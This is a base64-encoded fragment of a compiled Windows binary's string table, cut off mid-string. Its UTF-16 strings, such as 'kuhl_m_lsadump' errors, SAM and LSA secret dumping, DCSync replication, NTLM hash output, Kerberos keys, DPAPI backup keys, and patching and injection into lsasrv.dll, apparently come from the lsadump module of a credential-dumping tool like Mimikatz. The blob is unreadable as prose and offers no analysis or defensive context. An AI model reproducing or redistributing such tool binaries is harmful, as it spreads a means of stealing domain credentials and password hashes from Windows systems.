AAAAAAAAAFMAZQBsAGUAYwB0AAAAAAAlADAAMwB1AAAAAABKAEQAAAAAAAAAAABTAGsAZQB3ADEAAAAAAAAARwBCAEcAAABEAGEAdABhAAAAAAAlAHgAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGcAZQB0AFMAeQBzAGsAZQB5ACAAOwAgAEwAUwBBACAASwBlAHkAIABDAGwAYQBzAHMAIAByAGUAYQBkACAAZQByAHIAbwByAAoAAAAAAEQAbwBtAGEAaQBuACAAOgAgAAAAAAAAAEMAbwBtAHAAdQB0AGUAcgBOAGEAbQBlAAAAAAAAAAAAQwBvAG4AdAByAG8AbABcAEMAbwBtAHAAdQB0AGUAcgBOAGEAbQBlAFwAQwBvAG0AcAB1AHQAZQByAE4AYQBtAGUAAAAAAAAAJQBzAAoAAABTAHkAcwBLAGUAeQAgADoAIAAAAAAAAABDAG8AbgB0AHIAbwBsAFwATABTAEEAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBnAGUAdABDAG8AbQBwAHUAdABlAHIAQQBuAGQAUwB5AHMAawBlAHkAIAA7ACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZwBlAHQAUwB5AHMAawBlAHkAIABLAE8ACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZwBlAHQAQwBvAG0AcAB1AHQAZQByAEEAbgBkAFMAeQBzAGsAZQB5ACAAOwAgAGsAdQBsAGwAXwBtAF8AcgBlAGcAaQBzAHQAcgB5AF8AUgBlAGcATwBwAGUAbgBLAGUAeQBFAHgAIABMAFMAQQAgAEsATwAKAAAAAABWAAAAUwBBAE0AXABEAG8AbQBhAGkAbgBzAFwAQQBjAGMAbwB1AG4AdAAAAEwAbwBjAGEAbAAgAFMASQBEACAAOgAgAAAAAAAAAAAAVQBzAGUAcgBzAAAAAAAAAE4AYQBtAGUAcwAAAAAAAAAKAFIASQBEACAAIAA6ACAAJQAwADgAeAAgACgAJQB1ACkACgAAAAAAVQBzAGUAcgAgADoAIAAlAC4AKgBzAAoAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGcAZQB0AFUAcwBlAHIAcwBBAG4AZABTAGEAbQBLAGUAeQAgADsAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBnAGUAdABTAGEAbQBLAGUAeQAgAEsATwAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGcAZQB0AFUAcwBlAHIAcwBBAG4AZABTAGEAbQBLAGUAeQAgADsAIABrAHUAbABsAF8AbQBfAHIAZQBnAGkAcwB0AHIAeQBfAFIAZQBnAE8AcABlAG4ASwBlAHkARQB4ACAAUwBBAE0AIABBAGMAYwBvAHUAbgB0AHMAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAE4AVABMAE0AAAAAAAAAAABMAE0AIAAgAAAAAAAAAAAAJQBzACAAOgAgAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGcAZQB0AEgAYQBzAGgAIAA7ACAAUgB0AGwARQBuAGMAcgB5AHAAdABEAGUAYwByAHkAcAB0AFIAQwA0AAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBnAGUAdABIAGEAcwBoACAAOwAgAEgAYQBzAGgAIABzAGkAegBlACAAJQB1ACAAIQA9ACAAJQB1AAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZwBlAHQASABhAHMAaAAgADsAIABVAG4AawBuAG8AdwAgAFMAQQBNAF8ASABBAFMASAAgAHIAZQB2AGkAcwBpAG8AbgAgACgAJQBoAHUAKQAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBnAGUAdABIAGEAcwBoACAAOwAgAFIAdABsAEQAZQBjAHIAeQBwAHQARABFAFMAMgBiAGwAbwBjAGsAcwAxAEQAVwBPAFIARAAAAAAAAAAKAFMAQQBNAEsAZQB5ACAAOgAgAAAAAABG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AHIAZQBwAGwAYQBjAGUAIABtAG8AZABlACAAKAAyACkAIQAKAAAAIAAgAE0AcwBDAGEAYwBoAGUAVgAyACAAOgAgAAAAAAAgACAAQwBoAGUAYwBrAHMAdQBtACAAIAA6ACAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGcAZQB0AE4ATABLAE0AUwBlAGMAcgBlAHQAQQBuAGQAQwBhAGMAaABlACAAOwAgAGsAdQBsAGwAXwBtAF8AcgBlAGcAaQBzAHQAcgB5AF8AUgBlAGcAUwBlAHQAVgBhAGwAdQBlAEUAeAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAPgAgAFUAcwBlAHIAIABjAGEAYwBoAGUAIAByAGUAcABsAGEAYwBlACAAbQBvAGQAZQAgACgAMQApACEACgAAACAAIABNAHMAQwBhAGMAaABlAFYAMQAgADoAIAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZwBlAHQATgBMAEsATQBTAGUAYwByAGUAdABBAG4AZABDAGEAYwBoAGUAIAA7ACAAUgB0AGwARQBuAGMAcgB5AHAAdABEAGUAYwByAHkAcAB0AFIAQwA0ACAAOgAgADAAeAAlADAAOAB4AAoAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGcAZQB0AE4ATABLAE0AUwBlAGMAcgBlAHQAQQBuAGQAQwBhAGMAaABlACAAOwAgAGsAdQBsAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBoAG0AYQBjACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAVQBzAGUAcgAgACAAIAAgACAAIAA6ACAAJQAuACoAcwBcACUALgAqAHMACgAAAAAATQBzAEMAYQBjAGgAZQBWACUAYwAgADoAIAAAAAAAAABPAGIAagBlAGMAdABOAGEAbQBlAAAAAAAgAC8AIABzAGUAcgB2AGkAYwBlACAAJwAlAHMAJwAgAHcAaQB0AGgAIAB1AHMAZQByAG4AYQBtAGUAIAA6ACAAJQAuACoAcwAAAAAAAAAAAHQAZQB4AHQAOgAgACUAdwBaAAAAAAAAAGgAZQB4ACAAOgAgAAAAAAAkAE0AQQBDAEgASQBOAEUALgBBAEMAQwAAAAAAAAAAAAoAIAAgACAAIABOAFQATABNADoAAAAAAAoAIAAgACAAIABTAEgAQQAxADoAAAAAAEQAUABBAFAASQBfAFMAWQBTAFQARQBNAAAAAAAAAAAACgAgACAAIAAgAGYAdQBsAGwAOgAgAAAACgAgACAAIAAgAG0ALwB1ACAAOgAgAAAAIAAvACAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBzAGUAYwBfAGEAZQBzADIANQA2ACAAOwAgAEMAcgB5AHAAdABEAGUAYwByAHkAcAB0ACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAHMAZQBjAF8AYQBlAHMAMgA1ADYAIAA7ACAAQwByAHkAcAB0AFMAZQB0AEsAZQB5AFAAYQByAGEAbQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AcwBlAGMAXwBhAGUAcwAyADUANgAgADsAIABrAHUAbABsAF8AbQBfAGMAcgB5AHAAdABvAF8AaABrAGUAeQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABzAGEAbQBzAHIAdgAuAGQAbABsAAAAAABsAHMAYQBzAHIAdgAuAGQAbABsAAAAAABuAHQAZABsAGwALgBkAGwAbAAAAAAAAABrAGUAcgBuAGUAbAAzADIALgBkAGwAbAAAAAAAAAAAAFNhbUlDb25uZWN0AAAAAABTYW1yQ2xvc2VIYW5kbGUAU2FtSVJldHJpZXZlUHJpbWFyeUNyZWRlbnRpYWxzAABTYW1yT3BlbkRvbWFpbgAAU2Ftck9wZW5Vc2VyAAAAAFNhbXJRdWVyeUluZm9ybWF0aW9uVXNlcgAAAAAAAAAAU2FtSUZyZWVfU0FNUFJfVVNFUl9JTkZPX0JVRkZFUgBMc2FJUXVlcnlJbmZvcm1hdGlvblBvbGljeVRydXN0ZWQAAAAAAAAATHNhSUZyZWVfTFNBUFJfUE9MSUNZX0lORk9STUFUSU9OAAAAAAAAAFZpcnR1YWxBbGxvYwAAAABtZW1jcHkAAHAAYQB0AGMAaAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBsAHMAYQAgADsAIABrAHUAbABsAF8AbQBfAHAAYQB0AGMAaAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AbABzAGEAIAA7ACAAawB1AGwAbABfAG0AXwBwAHIAbwBjAGUAcwBzAF8AZwBlAHQAVgBlAHIAeQBCAGEAcwBpAGMATQBvAGQAdQBsAGUASQBuAGYAbwByAG0AYQB0AGkAbwBuAHMARgBvAHIATgBhAG0AZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAGkAbgBqAGUAYwB0AAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGwAcwBhACAAOwAgAGsAdQBsAGwAXwBtAF8AcgBlAG0AbwB0AGUAbABpAGIAXwBDAHIAZQBhAHQAZQBSAGUAbQBvAHQAZQBDAG8AZABlAFcAaQB0AHQAaABQAGEAdAB0AGUAcgBuAFIAZQBwAGwAYQBjAGUACgAAAAAAAAAAAEQAbwBtAGEAaQBuACAAOgAgACUAdwBaACAALwAgAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBsAHMAYQAgADsAIABTAGEAbQBMAG8AbwBrAHUAcABJAGQAcwBJAG4ARABvAG0AYQBpAG4AIAAlADAAOAB4AAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AbABzAGEAIAA7ACAAJwAlAHMAJwAgAGkAcwAgAG4AbwB0ACAAYQAgAHYAYQBsAGkAZAAgAEkAZAAKAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGwAcwBhACAAOwAgAFMAYQBtAEwAbwBvAGsAdQBwAE4AYQBtAGUAcwBJAG4ARABvAG0AYQBpAG4AIAAlADAAOAB4AAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBsAHMAYQAgADsAIABTAGEAbQBFAG4AdQBtAGUAcgBhAHQAZQBVAHMAZQByAHMASQBuAEQAbwBtAGEAaQBuACAAJQAwADgAeAAKAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGwAcwBhACAAOwAgAFMAYQBtAE8AcABlAG4ARABvAG0AYQBpAG4AIAAlADAAOAB4AAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGwAcwBhACAAOwAgAFMAYQBtAEMAbwBuAG4AZQBjAHQAIAAlADAAOAB4AAoAAABTAGEAbQBTAHMAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBsAHMAYQBfAGcAZQB0AEgAYQBuAGQAbABlACAAOwAgAE8AcABlAG4AUAByAG8AYwBlAHMAcwAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGwAcwBhAF8AZwBlAHQASABhAG4AZABsAGUAIAA7ACAAawB1AGwAbABfAG0AXwBzAGUAcgB2AGkAYwBlAF8AZwBlAHQAVQBuAGkAcQB1AGUARgBvAHIATgBhAG0AZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAKAFIASQBEACAAIAA6ACAAJQAwADgAeAAgACgAJQB1ACkACgBVAHMAZQByACAAOgAgACUAdwBaAAoAAAAAAAAATABNACAAIAAgADoAIAAAAAoATgBUAEwATQAgADoAIAAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AbABzAGEAXwB1AHMAZQByACAAOwAgAFMAYQBtAFEAdQBlAHIAeQBJAG4AZgBvAHIAbQBhAHQAaQBvAG4AVQBzAGUAcgAgACUAMAA4AHgACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBf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AHMAJwAKAAAAAAAAAAAAIAAgACoAIABMAGUAZwBhAGMAeQAgAGsAZQB5AAoAAABrAGUAeQAAAGwAZQBnAGEAYwB5AAAAAAAAAAAAAAAAACAAIAAqACAAVQBuAGsAbgBvAHcAbgAgAGsAZQB5ACAAKABzAGUAZQBuACAAYQBzACAAJQAwADgAeAApAAoAAAAJAEUAeABwAG8AcgB0ACAAIAAgACAAIAAgACAAIAAgADoAIAAlAHMAIAAtACAAJwAlAHMAJwAKAAAAAAAAAAAARwAkAEIAQwBLAFUAUABLAEUAWQBfAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBnAGUAdABLAGUAeQBGAHIAbwBtAEcAVQBJAEQAIAA7ACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8ATABzAGEAUgBlAHQAcgBpAGUAdgBlAFAAcgBpAHYAYQB0AGUARABhAHQAYQA6ACAAMAB4ACUAMAA4AHgACgAAAAAAAAAAAHMAZQBjAHIAZQB0AAAAAAAgAHMAZQBlAG0AcwAgAHQAbwAgAGIAZQAgAGEAIAB2AGEAbABpAGQAIABHAFUASQBEAAoAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AYgBrAGUAeQAgADsAIABJAG4AdgBhAGwAaQBkACAARwBVAEkARAAgACgAMAB4ACUAMAA4AHgAKQAgADsAIAAlAHMACgAAAAoAQwB1AHIAcgBlAG4AdAAgAHAAcgBlAGYAZQByAGUAZAAgAGsAZQB5ADoAIAAgACAAIAAgACAAIAAAAAAAAABHACQAQgBDAEsAVQBQAEsARQBZAF8AUABSAEUARgBFAFIAUgBFAEQAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBiAGsAZQB5ACAAOwAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAEwAcwBhAFIAZQB0AHIAaQBlAHYAZQBQAHIAaQB2AGEAdABlAEQAYQB0AGEAOgAgADAAeAAlADAAOAB4AAoAAAAAAAoAQwBvAG0AcABhAHQAaQBiAGkAbABpAHQAeQAgAHAAcgBlAGYAZQByAGUAZAAgAGsAZQB5ADoAIAAAAAAAAABHACQAQgBDAEsAVQBQAEsARQBZAF8AUAAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AcgBwAGQAYQB0AGEAIAA7ACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8ATABzAGEAUgBlAHQAcgBpAGUAdgBlAFAAcgBpAHYAYQB0AGUARABhAHQAYQA6ACAAMAB4ACUAMAA4AHgACgAAAAAAAAAAAGsAZABjAAAAWwBEAEMAXQAgAE8AYgBqAGUAYwB0ACAAdwBpAHQAaAAgAEcAVQBJAEQAIAAnACUAcwAnAAoAAABbAEQAQwBdACAAJwAlAHMAJwAgAHcAaQBsAGwAIABiAGUAIAB0AGgAZQAgAHUAcwBlAHIAIABhAGMAYwBvAHUAbgB0AAoAAABsAGQAYQBwAAAAAAAAAAAAbgBjAGEAYwBuAF8AaQBwAF8AdABjAHAAAAAAAAAAAAAAAAAAAAAAAFsARABDAF0AIABtAHMALQBEAFMALQBSAGUAcABsAGkAYwBhAHQAaQBvAG4ARQBwAG8AYwBoACAAaQBzADoAIAAlAHUACgAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZABjAHMAeQBuAGMAIAA7ACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBQAHIAbwBjAGUAcwBzAEcAZQB0AE4AQwBDAGgAYQBuAGcAZQBzAFIAZQBwAGwAeQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZABjAHMAeQBuAGMAIAA7ACAARABSAFMARwBlAHQATgBDAEMAaABhAG4AZwBlAHMALAAgAGkAbgB2AGEAbABpAGQAIABkAHcATwB1AHQAVgBlAHIAcwBpAG8AbgAgACgAJQB1ACkAIABhAG4AZAAvAG8AcgAgAGMATgB1AG0ATwBiAGoAZQBjAHQAcwAgACgAJQB1ACkACgAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGQAYwBzAHkAbgBjACAAOwAgAEcAZQB0AE4AQwBDAGgAYQBuAGcAZQBzADoAIAAwAHgAJQAwADgAeAAgACgAJQB1ACkACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZABjAHMAeQBuAGMAIAA7ACAAUgBQAEMAIABFAHgAYwBlAHAAdABpAG8AbgAgADAAeAAlADAAOAB4ACAAKAAlAHUAKQAKAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBkAGMAcwB5AG4AYwAgADsAIABNAGkAcwBzAGkAbgBnACAAdQBzAGUAcgAgAG8AcgAgAGcAdQBpAGQAIABhAHIAZwB1AG0AZQBuAHQACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGQAYwBzAHkAbgBjACAAOwAgAEQAbwBtAGEAaQBuACAAQwBvAG4AdAByAG8AbABsAGUAcgAgAG4AbwB0ACAAcAByAGUAcwBlAG4AdAAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZABjAHMAeQBuAGMAIAA7ACAARABvAG0AYQBpAG4AIABuAG8AdAAgAHAAcgBlAHMAZQBuAHQALAAgAG8AcgAgAGQAbwBlAHMAbgAnAHQAIABsAG8AbwBrACAAbABpAGsAZQAgAGEAIABGAFEARABOAAoAAAAAACUAcwAlAC4AKgBzACUAcwAAAAAAAAAAACAAIAAgACAAJQBzAC0AJQAyAHUAOgAgAAAAAAAAAAAAIAAgAEgAYQBzAGgAIAAlAHMAOgAgAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZABjAHMAeQBuAGMAXwBkAGUAYwByAHkAcAB0ACAAOwAgAFIAdABsAEQAZQBjAHIAeQBwAHQARABFAFMAMgBiAGwAbwBjAGsAcwAxAEQAVwBPAFIARAAAAAAAAAAAAAoATwBiAGoAZQBjAHQAIABSAEQATgAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgAAAAAAAAAAAAUwBDAFIASQBQAFQAAAAAAEEAQwBDAE8AVQBOAFQARABJAFMAQQBCAEwARQAAAAAAMAB4ADQAIAA/AAAAAAAAAEgATwBNAEUARABJAFIAXwBSAEUAUQBVAEkAUgBFAEQAAAAAAAAAAABMAE8AQwBLAE8AVQBUAAAAUABBAFMAUwBXAEQAXwBOAE8AVABSAEUAUQBEAAAAAABQAEEAUwBTAFcARABfAEM